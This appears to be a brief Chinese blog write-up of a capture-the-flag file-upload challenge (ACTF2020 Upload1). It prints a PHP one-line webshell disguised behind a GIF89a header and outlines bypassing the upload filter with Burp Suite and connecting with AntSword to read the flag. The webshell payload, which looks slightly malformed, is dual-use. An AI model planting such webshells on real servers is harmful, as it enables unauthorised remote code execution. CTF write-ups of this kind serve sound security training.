1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
针叶8 小时前
Google Play加固保护导致的崩溃执明wa10 小时前
Android Studio 项目目录结构全方位详解__Witheart__11 小时前
Android编译错误：Soong阶段因缺失res目录导致panic (Iwlan模块)酿情师12 小时前
逆向exe文件：CRT 初始化流程详细分析问心无愧051314 小时前
ctf show web入门71夜勤月14 小时前
AQS 与 ThreadPoolExecutor 深度拆解：JDK 高并发底层设计精髓Yeyu14 小时前
Android 卡顿诊断 SDK：从痛点出发的设计思考上天_去_做颗惺星 EVE_BLUE15 小时前
Ubuntu Android 虚拟机安装使用教程我命由我1234515 小时前
Android 开发问题：Could not find com.github.PicnicSupermarket:FingerPaintView:1.2.